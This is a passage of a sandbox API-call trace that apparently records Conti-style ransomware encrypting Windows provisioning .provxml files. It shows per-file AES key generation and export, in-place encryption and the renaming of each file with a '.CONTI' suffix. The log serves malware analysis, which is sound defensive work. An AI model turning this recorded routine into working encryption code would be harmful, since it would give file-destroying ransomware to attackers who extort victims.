	[0110.556] WriteFile (in: hFile=0x3e0, lpBuffer=0x6565824*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6565824*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.559] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.559] ReadFile (in: hFile=0x3e0, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2c9, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2c9, lpOverlapped=0x0) returned 1
	[0110.559] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2c9, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2d0) returned 1
	[0110.559] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.559] WriteFile (in: hFile=0x3e0, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2d0, lpOverlapped=0x0) returned 1
	[0110.559] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.559] WriteFile (in: hFile=0x3e0, lpBuffer=0x6565818*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6565818*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0110.559] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.559] CloseHandle (hObject=0x3e0) returned 1
	[0110.559] GetProcessHeap () returned 0x1720000
	[0110.559] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.559] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml"
	[0110.559] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.559] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\311__Connections_Cellular_TDC Norway (Norway)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\311__connections_cellular_tdc norway (norway)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.560] GetProcessHeap () returned 0x1720000
	[0110.560] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.560] CryptDestroyKey (hKey=0x17c8330) returned 1
	[0110.560] GetProcessHeap () returned 0x1720000
	[0110.560] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71558 | out: hHeap=0x1720000) returned 1
	[0110.560] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0110.560] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65625f0 | out: phKey=0x65625f0*=0x17c8030) returned 1
	[0110.560] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65625f4, pdwDataLen=0x3a7ff24 | out: pbData=0x65625f4*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0110.561] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.561] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.561] GetLastError () returned 0x0
	[0110.561] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=645) returned 1
	[0110.561] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x285
	[0110.561] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.562] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.562] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.562] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.562] WriteFile (in: hFile=0x3e0, lpBuffer=0x65625f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65625f4*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0110.564] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.564] ReadFile (in: hFile=0x3e0, lpBuffer=0x9370000, nNumberOfBytesToRead=0x285, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x285, lpOverlapped=0x0) returned 1
	[0110.564] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x285, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x290) returned 1
	[0110.564] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.564] WriteFile (in: hFile=0x3e0, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x290, lpOverlapped=0x0) returned 1
	[0110.564] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.564] WriteFile (in: hFile=0x3e0, lpBuffer=0x65625e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65625e8*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0110.564] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.564] CloseHandle (hObject=0x3e0) returned 1
	[0110.564] GetProcessHeap () returned 0x1720000
	[0110.564] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.564] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml"
	[0110.564] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.564] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\312__connections_cellular_telenor (norway)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.565] GetProcessHeap () returned 0x1720000
	[0110.565] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.565] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0110.565] GetProcessHeap () returned 0x1720000
	[0110.565] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b70c60 | out: hHeap=0x1720000) returned 1
	[0110.565] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0110.565] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6565a68 | out: phKey=0x6565a68*=0x17c8570) returned 1
	[0110.565] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6565a6c, pdwDataLen=0x3a7ff24 | out: pbData=0x6565a6c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0110.566] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.566] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0110.566] GetLastError () returned 0x0
	[0110.566] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=749) returned 1
	[0110.566] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ed
	[0110.566] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.566] SetEndOfFile (hFile=0x3e0) returned 1
	[0110.567] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.567] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.567] WriteFile (in: hFile=0x3e0, lpBuffer=0x6565a6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x6565a6c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.078] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.078] ReadFile (in: hFile=0x3e0, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2ed, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2ed, lpOverlapped=0x0) returned 1
	[0111.078] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2ed, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2f0) returned 1
	[0111.078] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.078] WriteFile (in: hFile=0x3e0, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2f0, lpOverlapped=0x0) returned 1
	[0111.078] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.079] WriteFile (in: hFile=0x3e0, lpBuffer=0x6565a60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6565a60*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0111.079] SetFilePointer (in: hFile=0x3e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.079] CloseHandle (hObject=0x3e0) returned 1
	[0111.079] GetProcessHeap () returned 0x1720000
	[0111.079] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.217] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml"
	[0111.217] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.217] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\313__connections_cellular_omani qatari telecommunications company saoc (oman)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.491] GetProcessHeap () returned 0x1720000
	[0111.491] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.492] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0111.492] GetProcessHeap () returned 0x1720000
	[0111.492] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6870b20 | out: hHeap=0x1720000) returned 1
	[0111.492] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0111.492] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x17f9228 | out: phKey=0x17f9228*=0x17c8570) returned 1
	[0111.492] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x17f922c, pdwDataLen=0x3a7ff24 | out: pbData=0x17f922c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0111.492] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.493] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\399__connections_cellular_mtn south africa (south africa)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0111.493] GetLastError () returned 0x0
	[0111.493] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=657) returned 1
	[0111.493] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x291
	[0111.493] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.493] SetEndOfFile (hFile=0x3d8) returned 1
	[0111.493] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.493] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.494] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f922c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x17f922c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.496] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.496] ReadFile (in: hFile=0x3d8, lpBuffer=0x9370000, nNumberOfBytesToRead=0x291, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x291, lpOverlapped=0x0) returned 1
	[0111.496] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x291, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2a0) returned 1
	[0111.496] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.496] WriteFile (in: hFile=0x3d8, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2a0, lpOverlapped=0x0) returned 1
	[0111.496] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.496] WriteFile (in: hFile=0x3d8, lpBuffer=0x17f9220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x17f9220*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0111.496] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.496] CloseHandle (hObject=0x3d8) returned 1
	[0111.497] GetProcessHeap () returned 0x1720000
	[0111.497] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.497] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml"
	[0111.497] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\399__Connections_Cellular_MTN South Africa (South Africa)_i0$(__MVID)@WAP.provxml.CONTI"
